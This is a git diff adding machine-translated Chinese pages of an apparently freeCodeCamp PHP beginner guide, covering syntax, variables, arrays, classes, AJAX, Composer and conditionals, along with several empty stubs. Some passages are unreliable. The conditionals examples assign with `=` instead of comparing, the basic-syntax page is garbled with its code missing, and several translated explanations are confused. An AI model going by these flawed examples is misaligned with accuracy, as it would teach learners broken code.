+ 
+    ?> 
+```
+
+此PHP脚本可以放在文档中的任何位置。 PHP文件通常包含HTML标记和一些脚本代码。 PHP文件的默认文件扩展名为`.php` 。
+
+###如何在PHP中发表评论？
+
+PHP代码中的注释是不作为程序的一部分读取/执行的行。它的唯一目的是让正在查看代码的人阅读。
+
+在PHP中，注释可以通过单行或多行两种方式进行。 下面给出的代码片段解释了它：
+
+```shell
+<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+```
+
+### 更多信息
+
+有关更多资源，请访问：https：//www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/PHP Variables/index.md b/client/src/guide/chinese/php/PHP Variables/index.md
new file mode 100644
index 0000000000..50af0a85d4
--- /dev/null
+++ b/client/src/guide/chinese/php/PHP Variables/index.md	
@@ -0,0 +1,18 @@
+---
+title: PHP Variables
+localeTitle: PHP变量
+---
### PHP- Vaiables类型
+
+Varibles是以PHP程序的中间方式存储信息的主要方式。 PHP中的所有变量都使用`$variable_name`等前导美元符号进行捐赠。 变量分配有`= operator` ，左侧是变量，右侧是要计算的表达式。
+
+### 变量命名
+
+命名变量的规则如下： -
+
+1.  变量名称必须以字母或下划线字符开头。 2.变量名可以由数字，字母，下划线组成，但不能使用`+ , - , % , ( , ) . &`类的字符`+ , - , % , ( , ) . &`以它的名字。 3. `($age and $AGE are two different variables)`名称区分大小写，即`($age and $AGE are two different variables)` 。
+
+### 创建（声明）PHP变量
+
+在PHP中，变量以$符号开头，后跟变量名称。下面给出的代码片段显示了它。
+
+`shell <?php $txt = "Hello world!"; $x = 6; $y = 10.5; ?>`
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/ajax/index.md b/client/src/guide/chinese/php/ajax/index.md
new file mode 100644
index 0000000000..3bcd1d3d54
--- /dev/null
+++ b/client/src/guide/chinese/php/ajax/index.md
@@ -0,0 +1,114 @@
+---
+title: AJAX
+localeTitle: AJAX
+---
+## AJAX
+
+**AJAX**代表**异步JavaScript和XML** 。它不是一种编程语言。它是一种使用HTML，CSS，JavaScript和XML开发更好，更快和交互式Web应用程序的技术。
+
+1.  HTML：超文本标记语言（HTML）用于定义Web应用程序的结构。
+2.  CSS：层叠样式表（CSS）用于为Web应用程序提供外观和样式。
+3.  JavaScript：JavaScript用于使Web应用程序具有交互性，有趣和用户友好性。
+4.  XML：可扩展标记语言（XML）是一种用于存储和传输来自Web服务器的数据的格式。
+
+#### AJAX中Asynchronous的含义是什么？
+
+异步意味着Web应用程序可以在不刷新页面的情况下从Web服务器发送和接收数据。从服务器发送和接收数据以及更新网页的不同部分的后台过程定义了AJAX的异步属性/特性。
+
+#### **AJAX**如何工作？
+
+AJAX利用浏览器内置的**XMLHttpRequest对象**从Web服务器和**HTML DOM**请求数据以显示或使用数据。
+
+**XMLHttpRequest对象** ：它是一个对象形式的API，其方法有助于在Web浏览器和Web服务器之间传输数据。
+
+**HTML DOM** ：加载网页时，浏览器会创建页面的文档对象模型。
+
+![](https://i.imgur.com/pfC7QFH.png "AJAX如何工作")
+
+**创建XMLHttpRequest对象：**
+
+```javascript
+var xhttp = new XMLHttpRequest(); 
+```
+
+**XMLHttpRequest对象的属性：**
+
+`readystate`是XMLHttpRequest对象的一个​​属性，它保存XMLHttpRequest的状态。
+
+*   0：请求未初始化
+*   1：建立服务器连接
+*   2：收到请求
+*   3：处理请求
+*   4：请求完成并且响应准备就绪
+
+`onreadystatechange`是XMLHttpRequest对象的一个​​属性，它定义了readyState属性更改时要调用的函数。  
+
+`status`是XMLHttpRequest对象的属性，它返回请求的状态编号
+
+*   200：“好的”
+*   403：“禁止”
+*   404：“未找到”
+
+**XMLHttpRequest对象方法：** 要向Web服务器发送请求，我们使用XMLHttpRequest对象的open（）和send（）方法。
+
+```javascript
+xhttp.open("GET", "content.txt", true); 
+ xhttp.send(); 
+```
+
+**使用JavaScript创建一个函数changeContent（）：**
+
+```javascript
+function changeContent() { 
+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+     document.getElementById("foo").innerHTML = this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+```
+
+**用于更改网页内容的AJAX示例：**
+
+```HTML
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <div id="foo"> 
+ <h2>The XMLHttpRequest Object</h2> 
+ <button type="button" onclick="changeContent()">Change Content</button> 
+ </div> 
+ 
+ <script> 
+ function changeContent() { 
+  var xhttp = new XMLHttpRequest(); 
+  xhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+      document.getElementById("foo").innerHTML = 
+      this.responseText; 
+    } 
+  }; 
+  xhttp.open("GET", "content.txt", true); 
+  xhttp.send(); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+```
+
+文件`content.txt`应该出现在Web应用程序的根目录中。
+
+### 来源
+
+*   [W3Schools的](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
+
+### 其他资源
+
+*   [W3Schools的](https://www.w3schools.com/js/js_ajax_intro.asp)
+*   [MDN网络文档](https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX/Getting_Started)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/array/index.md b/client/src/guide/chinese/php/array/index.md
new file mode 100644
index 0000000000..45213f3b32
--- /dev/null
+++ b/client/src/guide/chinese/php/array/index.md
@@ -0,0 +1,35 @@
+---
+title: array
+localeTitle: 排列
+---
+## PHP数组的介绍
+
+PHP中的数组实际上是一个有序的映射。映射是将值与键关联的类型。 此类型针对多种不同用途进行了优化;它可以被视为数组，列表（向量），哈希表（地图的实现），字典，集合，堆栈，队列，甚至更多。 由于数组值可以是其他数组，因此树和多维数组也是可能的。
+
+这是一个例子：
+```
+<?php 
+ // array without keys 
+ $bikes = array("Suzuki","BMW","Yamaha"); 
+ echo "I like " . $bikes[0] . ", " . $bikes[1] . " and " . $bikes[2] . "."; 
+ ?> 
+```
+
+PHP数组有很多功能可以使用。以下列出了所有列表： [功能](https://www.w3schools.com/php/php_ref_array.asp)
+
+## 关联数组
+
+PHP数组可以用作键和值，如map。它也可以通过键访问。
+
+这是一个简单的例子：
+```
+<?php 
+ $array = array( 
+    "foo" => "bar", 
+    "bar" => "foo", 
+ ); 
+ 
+ echo $array['bar']; 
+```
+
+有一个美好的一天，快乐的编码！
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/arrays/index.md b/client/src/guide/chinese/php/arrays/index.md
new file mode 100644
index 0000000000..316fdba541
--- /dev/null
+++ b/client/src/guide/chinese/php/arrays/index.md
@@ -0,0 +1,44 @@
+---
+title: Arrays
+localeTitle: 数组
+---
+## 数组
+
+### 数组类型
+
+在PHP中有三种类型的数组：索引数组，关联数组和多维数组。
+
+### 索引数组示例
+
+索引数组按索引号访问对象。
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+```
+
+`$freecodecamp[0]`将返回`"free"` ， `$freecodecamp[1]`将返回`"code"` ， `$freecodecamp[2]`将返回`"camp"` 。
+
+### 关联数组示例
+
+关联数组按键名访问对象。
+
+```PHP
+<?php 
+ $freecodecamp = array("free"=>"0","code"=>"1","camp"=>"2"); 
+```
+
+`$freecodecamp['free']`将返回“0”， `$freecodecamp['code']`将返回“1”， `$freecodecamp['camp']`将返回“2”，
+
+### 多维数组示例
+
+多维数组是包含其他数组的数组。
+
+```PHP
+<?php 
+ $freecodecamp = array(array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2")); 
+```
+
+#### 更多信息：
+
+*   [php.net数组手册](https://secure.php.net/manual/en/language.types.array.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/arrays/sorting-arrays/index.md b/client/src/guide/chinese/php/arrays/sorting-arrays/index.md
new file mode 100644
index 0000000000..ba1fc7b1d7
--- /dev/null
+++ b/client/src/guide/chinese/php/arrays/sorting-arrays/index.md
@@ -0,0 +1,149 @@
+---
+title: Sorting Arrays
+localeTitle: 排序数组
+---
+## 排序数组
+
+PHP提供了几种排序数组的函数。本页介绍了不同的功能并包含了示例。
+
+### 分类（）
+
+`sort()`函数按升序字母/数字顺序对数组的值进行排序（例如A，B，C，D，E ... 5,4,3,2,1 ......）
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ sort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [0] => camp 
+    [1] => code 
+    [2] => free 
+ ) 
+```
+
+### rsort（）
+
+`rsort()`函数按降序字母/数字顺序对数组的值进行排序（例如Z，Y，X，W，V ... `rsort()` ......）
+
+```PHP
+<?php 
+ $freecodecamp = array("free", "code", "camp"); 
+ rsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [0] => free 
+    [1] => code 
+    [2] => camp 
+ ) 
+```
+
+### ASORT（）
+
+`asort()`函数按字母顺序/数字顺序（例如A，B，C，D，E ... 5,4,3,2,1 ......）对其关联数组进行排序。
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ asort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [two] => camp 
+    [one] => code 
+    [zero] => free 
+ ) 
+```
+
+### ksort（）
+
+`ksort()`函数按字母/数字顺序按字母顺序排列关联数组（例如A，B，C，D，E ... 5,4,3,2,1 ......）
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ ksort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [one] => code 
+    [two] => camp 
+    [zero] => free 
+ ) 
+```
+
+### arsort（）
+
+`arsort()`函数按字母/数字顺序按字母顺序排列一个关联数组（例如Z，Y，X，W，V ... 5,4,3,2,1 ......）
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ arsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [zero] => free 
+    [one] => code 
+    [two] => camp 
+ ) 
+```
+
+### krsort（）
+
+`krsort()`函数按字母/数字顺序降序排序关联数组（例如Z，Y，X，W，V ... `krsort()` ......）
+
+```PHP
+<?php 
+ $freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp"); 
+ krsort($freecodecamp); 
+ print_r($freecodecamp); 
+```
+
+**输出：**
+
+```text
+Array 
+ ( 
+    [zero] => free 
+    [two] => camp 
+    [one] => code 
+ ) 
+```
+
+#### 更多信息：
+
+*   [php.net sort（）手册](https://secure.php.net/manual/en/function.sort.php)
+*   [php.net rsort（）手册](https://secure.php.net/manual/en/function.rsort.php)
+*   [php.net asort（）手册](https://secure.php.net/manual/en/function.asort.php)
+*   [php.net ksort（）手册](https://secure.php.net/manual/en/function.ksort.php)
+*   [php.net arsort（）手册](https://secure.php.net/manual/en/function.arsort.php)
+*   [php.net krsort（）手册](https://secure.php.net/manual/en/function.krsort.php)
+*   [php.net print\_r（）手册](https://secure.php.net/manual/en/function.print-r.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/basic-syntax/index.md b/client/src/guide/chinese/php/basic-syntax/index.md
new file mode 100644
index 0000000000..e0daa6fb22
--- /dev/null
+++ b/client/src/guide/chinese/php/basic-syntax/index.md
@@ -0,0 +1,45 @@
+---
+title: Basic Syntax
+localeTitle: 基本语法
+---
+# 基本语法
+
+PHP脚本可以放在文档中的任何位置。
+
+PHP脚本以`<?php`开头，以`?>`结尾
+
+下面，我们有一个简单的PHP文件示例，其中一个PHP脚本使用内置的PHP函数“echo”来输出文本“Hello World！”。在网页上
+
+\`\`\`\`
+
+# 我的第一个PHP页面
+```
+The output of that would be : 
+```
+
+我的第一个PHP页面
+
+你好，世界！
+```
+#### Note: PHP statements end with a semicolon (;). 
+ 
+ # Comments in PHP 
+ 
+ PHP supports several ways of commenting: 
+```
+
+```
+# PHP Case Sensitivity 
+ 
+ In PHP, all keywords (eg if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive. 
+ 
+ In the example below, all three echo statements below are legal (and equal): 
+```
+
+```
+### However; all variable names are case-sensitive. 
+ 
+ In the example below, only the first statement will display the value of the $color variable (this is because $color, $COLOR, and $coLOR are treated as three different variables): 
+```
+
+\`\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/class-inheritance/index.md b/client/src/guide/chinese/php/class-inheritance/index.md
new file mode 100644
index 0000000000..f239c498af
--- /dev/null
+++ b/client/src/guide/chinese/php/class-inheritance/index.md
@@ -0,0 +1,266 @@
+---
+title: Class Inheritance
+localeTitle: 类继承
+---
+## 类继承
+
+_在面向对象的程序设计中重新使用继承代码_
+
+在这里，我们将讨论如何通过使用继承来重用我们编写的代码而不需要任何代码重复。
+
+### 人类
+
+这是我们的`Man`类：
+
+```php
+<?php 
+ class Man 
+ { 
+    // 1. Declare the class variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out the man's attributes and values upon instantiation 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create class methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    // 4. Age getter method 
+    public function getAge() 
+    { 
+        return $this->age; 
+    } 
+ 
+    // Age setter method 
+    public function setAge($age) 
+    { 
+        $this->age = $age; 
+    } 
+ 
+    // 5. Favorite Drinks setter method 
+    public function setFavDrinks($drinks = array()) 
+    { 
+        if ($drinks) { 
+            $this->fav_drinks = $drinks; 
+        } 
+    } 
+ 
+    // Favorite Drinks getter method 
+    public function getFavDrinks() 
+    { 
+        return $this->fav_drinks; 
+    } 
+ } 
+```
+
+### 健康的人
+
+假设我们要创建另一个名为`HealthyMan`类，它具有`Man`类的所有属性和方法。
+
+无需重新编写`Man`类的所有代码，我们可以使用关键字extends来重用该代码。
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+ 
+ } 
+```
+
+现在我们拥有来自`HealthyMan`里面的Man的所有类属性和方法。我们可以实例化`HealthyMan`类来快速检查这个。
+
+```php
+<?php 
+ $jackie = new HealthyMan('Jackie', 25, '5\' 5"'); 
+ // => Our man's name is: Jackie 
+ // => He is 25 years old and 5' 5" tall. 
+```
+
+我们可以继续设置HealthyMan又名Jackie最喜欢的运动和饮料。
+
+```php
+<?php 
+ $jackie->fav_sports = ['swimming', 'weight training']; 
+ print_r($jackie->fav_sports); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => swimming 
+ //     [1] => weight training 
+ // ) 
+ 
+ $jackie->setFavDrinks(['Matcha tea', 'Oolong Tea']); 
+ print_r($jackie->getFavDrinks()); 
+ // => 
+ // Array 
+ // ( 
+ //     [0] => Matcha tea 
+ //     [1] => Oolong Tea 
+ // ) 
+```
+
+现在让我们看看我们是否可以调用Man的类方法，如`giveFirmHandshakes()` ， `beStubborn()`和`notPutToiletPaper()` 。
+
+```php
+<?php 
+ echo "\n" . $jackie->giveFirmHandshakes(); 
+ // => I give firm handshakes. 
+ 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn. 
+ 
+ echo "\n" . $jackie->notPutToiletPaper(); 
+ // => It's not humanly possible to remember to put toilet paper rolls when they are finished 
+```
+
+我们通过使用关键字extends继承Man类来获得所有这些。
+
+### 一个真正健康的人
+
+如果我们从`Man`类继承`HealthyMan`并且不做任何事情，那么它就胜过了整个目的。
+
+HealthyMan类有类似的附加属性`body_fat_percentage`和`workout_per_week` ，以及类似的方法`eatHealthy()` `meditateDaily()`和`laughOften()`
+
+由于这些是个人属性，我们可以设置它们对protected或private的可见性，并为完全封装创建setter / getter方法。
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+    /** 
+     * HealthyMan properties 
+     */ 
+    private $body_fat_percentage; 
+    private $workout_per_week; 
+ 
+    /** 
+     * HealthyMan methods 
+     */ 
+    public function eatHealthy() 
+    { 
+        return "I only eat healthy meals."; 
+    } 
+ 
+    public function meditateDaily() 
+    { 
+        return "I set aside 20 minutes daily to meditate."; 
+    } 
+ 
+    public function laughOften() 
+    { 
+        return "I watch funny TV shows to unwind myself."; 
+    } 
+ 
+    /** 
+     * HealthyMan Setters and Getters 
+     */ 
+    public function setBodyFatPercentage($fat_percentage) 
+    { 
+        $this->body_fat_percentage  = $fat_percentage; 
+    } 
+ 
+    public function getBodyFatPercentage() 
+    { 
+        return $this->body_fat_percentage; 
+    } 
+ 
+    public function setWorkoutPerWeek($workout_times) 
+    { 
+        $this->workout_per_week = $workout_times; 
+    } 
+ 
+    public function getWorkoutPerWeek() 
+    { 
+        return $this->workout_per_week; 
+    } 
+ } 
+```
+
+我们可以调用这些方法来查看它们是否按预期工作：
+
+```php
+<?php 
+ 
+ echo "\n" . $jackie->eatHealthy(); 
+ // => I only eat healthy meals. 
+ 
+ echo "\n" . $jackie->meditateDaily(); 
+ // => I set aside 20 minutes daily to meditate. 
+ 
+ echo "\n" . $jackie->laughOften(); 
+ // => I watch funny TV shows to unwind myself. 
+ 
+ $jackie->setBodyFatPercentage(12); 
+ echo "\nBody Fat %: " . $jackie->getBodyFatPercentage(); 
+ // => Body Fat %: 12 
+ 
+ $jackie->setWorkoutPerWeek(5); 
+ echo "\nWorkout Times Per Week: " . $jackie->getWorkoutPerWeek(); 
+ // => Workout Times Per Week: 5 
+```
+
+我们已成功重用现有代码并实现了子类。
+
+### 他是顽固的吗？
+
+虽然他继承了Man类的`beStubborn()` ，因为Jackie是一个健康的男人，他只是偶尔顽固一次。我们可以通过改变父类的方法，让健康人的`beStubborn()`方法说“我偶尔会顽固”，而不仅仅是简单的“我很固执”。
+
+```php
+<?php 
+ class HealthyMan extends Man 
+ { 
+    ..... 
+    ..... 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn once in a while."; 
+    } 
+ 
+    ..... 
+    ..... 
+ } 
+```
+
+现在，当我们可以使用Jackie的`beStubborn()`方法时，我们将看到与以前不同的输出：
+
+```php
+<?php 
+ echo "\n" . $jackie->beStubborn(); 
+ // => I am stubborn once in a while. 
+```
+
+这演示了方法覆盖如何在OOP中工作。
+
+通过使用方法重写，我们基本上在子类中重新声明父类的方法。
+
+这样，父类的任何实例都维护其原始方法，而子类的任何实例都具有修改或重写的方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/class/index.md b/client/src/guide/chinese/php/class/index.md
new file mode 100644
index 0000000000..4f5e250e62
--- /dev/null
+++ b/client/src/guide/chinese/php/class/index.md
@@ -0,0 +1,30 @@
+---
+title: PHP - Class
+localeTitle: PHP  - 类
+---
+### 简单的初学者课程！
+
+```php
+class Lab { 
+  private $name = ''; 
+ 
+  public function setName($name) { 
+    $this->name = $name; 
+  } 
+ 
+  private function getName() { 
+    return $this->name; 
+  } 
+ 
+  public function say_my_name() { 
+    $name = $this->getName(); 
+    return $name; 
+  } 
+ 
+ } 
+ $breaking_bad = 'Heisenberg'; 
+ $lab = new Lab(); 
+ $lab->setName($breaking_bad); 
+ echo "My Name is " . $lab->say_my_name(). "!"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/classes-and-objects/index.md b/client/src/guide/chinese/php/classes-and-objects/index.md
new file mode 100644
index 0000000000..2e698db126
--- /dev/null
+++ b/client/src/guide/chinese/php/classes-and-objects/index.md
@@ -0,0 +1,50 @@
+---
+title: Classes and Objects
+localeTitle: 类和对象
+---
+# 类和对象
+
+类是我们表示世界中对象类型的方式。对象将是世界上该类的实际_实例_ 。类定义该类的对象的_属性_和_行为_ 。该类定义了对象如何与世界其他地方进行交互。类还允许我们抽象出我们不想向其他人展示的细节！
+
+比如说你有一只叫做Spot的狗。 Spot是Dog（类）对象的一个​​实例。
+
+用于定义类的PHP代码：
+
+```php
+// Dog class 
+ class dog { 
+    // Keep name and age private - we don't want to be able to change these! 
+    private $name; 
+ 
+    private $age; 
+ 
+    // Constructor allows us to make an object of this class with given parameters. 
+    function __construct($name, $age){ 
+        $this->name = $name; 
+        $this->age = $age; 
+        echo 'Dog named: '.$this->name.' is '.$this->age.' years old.'; 
+    } 
+ 
+    // Destructor gets called when the item is deleted. 
+    function __destruct(){ 
+        echo 'Dog '.$this->name.' has ran off into the sunset'; 
+    } 
+ 
+    function getname() { 
+        echo $this->name; 
+    } 
+ 
+    function getage() { 
+        echo $this->age; 
+    } 
+ 
+ } 
+ 
+ $mydog = new dog("Spot", "8"); 
+ echo $mydog->getname(); 
+ echo $mydog->getage(); 
+```
+
+上面的代码将回应： 狗命名：现货是8岁。 点 8 狗斑已经跑到夕阳下
+
+我创建了一个对象$ mydog的类狗。它的构造函数被调用，我在类中使用了一些方法，然后调用了析构函数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/composer/index.md b/client/src/guide/chinese/php/composer/index.md
new file mode 100644
index 0000000000..35e2f150a9
--- /dev/null
+++ b/client/src/guide/chinese/php/composer/index.md
@@ -0,0 +1,27 @@
+---
+title: Composer
+localeTitle: 作曲家
+---
+## 作曲家
+
+Composer是PHP包的包管理器。您使用`composer.json`文件来配置PHP项目的包，类似于NodeJS项目中的`package.json`文件。
+
+### 安装Composer
+
+要安装Composer，首先必须从[getcomposer.org](https://getcomposer.org/download/)下载它。
+
+然后，您可以在本地或全局安装Composer。
+
+### 安装包
+
+使用`composer install`安装包。 Composer会将`composer.json`文件中列出的软件包安装到vendor /文件夹。
+
+```shell
+    composer install 
+```
+
+### 更多信息：
+
+*   作曲家网站： [getcomposer.org](https://getcomposer.org/)
+*   Composer的GitHub repo： [composer / getcomposer](https://github.com/composer/getcomposer.org)
+*   Composer用于搜索包的流行的PHP包存储库： [Packagist](https://packagist.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/conditionals/index.md b/client/src/guide/chinese/php/conditionals/index.md
new file mode 100644
index 0000000000..eec65f91ea
--- /dev/null
+++ b/client/src/guide/chinese/php/conditionals/index.md
@@ -0,0 +1,48 @@
+---
+title: Conditionals
+localeTitle: 条件语句
+---
+## 条件语句
+
+PHP中的条件语句使用`if` ， `elseif` ， `else`语法编写。使用条件允许您根据在运行时提供给页面的不同输入和值执行不同的操作。在PHP中，条件通常被称为控制结构。
+
+### 如果
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } 
+```
+
+### ELSEIF
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } 
+```
+
+### 其他
+
+```PHP
+<?php 
+ if ($_GET['name'] = "freecodecamp"){ 
+  echo "You viewed the freeCodeCamp Page!"; 
+ } elseif ($_GET['name'] = "freecodecampguide"){ 
+  echo "You viewed the freeCodeCamp Guide Page!"; 
+ } else { 
+  echo "You viewed a page that does not exist yet!"; 
+ } 
+```
+
+### 注意
+
+如果您有很多可能的条件，您可能想要使用[Switch语句](/php/switch) 。
+
+#### 更多信息：
+
+*   [php.net控制结构手册](https://secure.php.net/manual/en/control-structures.elseif.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/constants/index.md b/client/src/guide/chinese/php/constants/index.md
new file mode 100644
index 0000000000..225d243a8c
--- /dev/null
+++ b/client/src/guide/chinese/php/constants/index.md
@@ -0,0 +1,30 @@
+---
+title: Constants
+localeTitle: 常量
+---
+## 常量
+
+常量是PHP中的一种变量。设置常量的`define()`函数有三个参数 - 键名，键的值和布尔值（true或false），它确定键的名称是否不区分大小写（默认为false）。设置后，常量值不能更改。它用于很少更改的值（例如数据库密码或api密钥）。
+
+### 范围
+
+重要的是要知道，与变量不同，常量总是具有全局范围，并且可以从脚本中的任何函数访问。
+
+### 例
+
+```PHP
+<?php 
+ define("freeCodeCamp", "Learn to code and help nonprofits", false); 
+ echo freeCodeCamp; 
+```
+
+**输出：**
+
+```text
+Learn to code and help nonprofits 
+```
+
+#### 更多信息：
+
+*   [php.net常量手册](https://secure.php.net/manual/en/language.constants.php)
+*   [php.net define（）手册](https://secure.php.net/manual/en/function.define.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/data-types/index.md b/client/src/guide/chinese/php/data-types/index.md
new file mode 100644
index 0000000000..7402a978f2
--- /dev/null
+++ b/client/src/guide/chinese/php/data-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Types
+localeTitle: 数据类型
+---
+## 数据类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/alignment/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/errors/exceptions/index.md b/client/src/guide/chinese/php/errors/exceptions/index.md
new file mode 100644
index 0000000000..9b675a6014
--- /dev/null
+++ b/client/src/guide/chinese/php/errors/exceptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Exceptions
+localeTitle: 错误例外
+---
+## 错误例外
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/exceptions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/errors/index.md b/client/src/guide/chinese/php/errors/index.md
new file mode 100644
index 0000000000..4d3d27286f
--- /dev/null
+++ b/client/src/guide/chinese/php/errors/index.md
@@ -0,0 +1,11 @@
+---
+title: Errors
+localeTitle: 错误
+---
+## 错误
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/filters/index.md b/client/src/guide/chinese/php/filters/index.md
new file mode 100644
index 0000000000..c2e70a3184
--- /dev/null
+++ b/client/src/guide/chinese/php/filters/index.md
@@ -0,0 +1,11 @@
+---
+title: Filters
+localeTitle: 过滤器
+---
+## 过滤器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/filters/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/forms/checking-required-inputs/index.md b/client/src/guide/chinese/php/forms/checking-required-inputs/index.md
new file mode 100644
index 0000000000..5d795147e8
--- /dev/null
+++ b/client/src/guide/chinese/php/forms/checking-required-inputs/index.md
@@ -0,0 +1,11 @@
+---
+title: Checking Required Inputs
+localeTitle: 检查所需的输入
+---
+## 检查所需的输入
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/checking-required-inputs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/forms/handling-form-input/index.md b/client/src/guide/chinese/php/forms/handling-form-input/index.md
new file mode 100644
index 0000000000..11ad2c9e84
--- /dev/null
+++ b/client/src/guide/chinese/php/forms/handling-form-input/index.md
@@ -0,0 +1,11 @@
+---
+title: Handling Form Input
+localeTitle: 处理表格输入
+---
+## 处理表格输入
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/handling-form-input/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/forms/index.md b/client/src/guide/chinese/php/forms/index.md
new file mode 100644
index 0000000000..98865396a9
--- /dev/null
+++ b/client/src/guide/chinese/php/forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Forms
+localeTitle: 形式
+---
+## 形式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/forms/validating-form-input/index.md b/client/src/guide/chinese/php/forms/validating-form-input/index.md
new file mode 100644
index 0000000000..3cd2dbfe7e
--- /dev/null
